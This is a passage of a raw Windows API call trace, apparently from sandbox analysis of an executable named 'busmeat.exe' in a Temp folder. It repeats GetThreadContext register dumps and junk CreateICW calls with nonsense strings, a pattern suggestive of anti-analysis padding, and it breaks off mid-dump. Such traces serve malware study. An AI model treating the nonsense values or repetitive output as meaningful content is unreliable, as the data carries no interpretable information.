	[0066.117] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.117] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.119] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.119] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.119] GetConsoleCP () returned 0x0
	[0066.119] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.119] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.120] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.120] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.120] GetConsoleCP () returned 0x0
	[0066.120] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 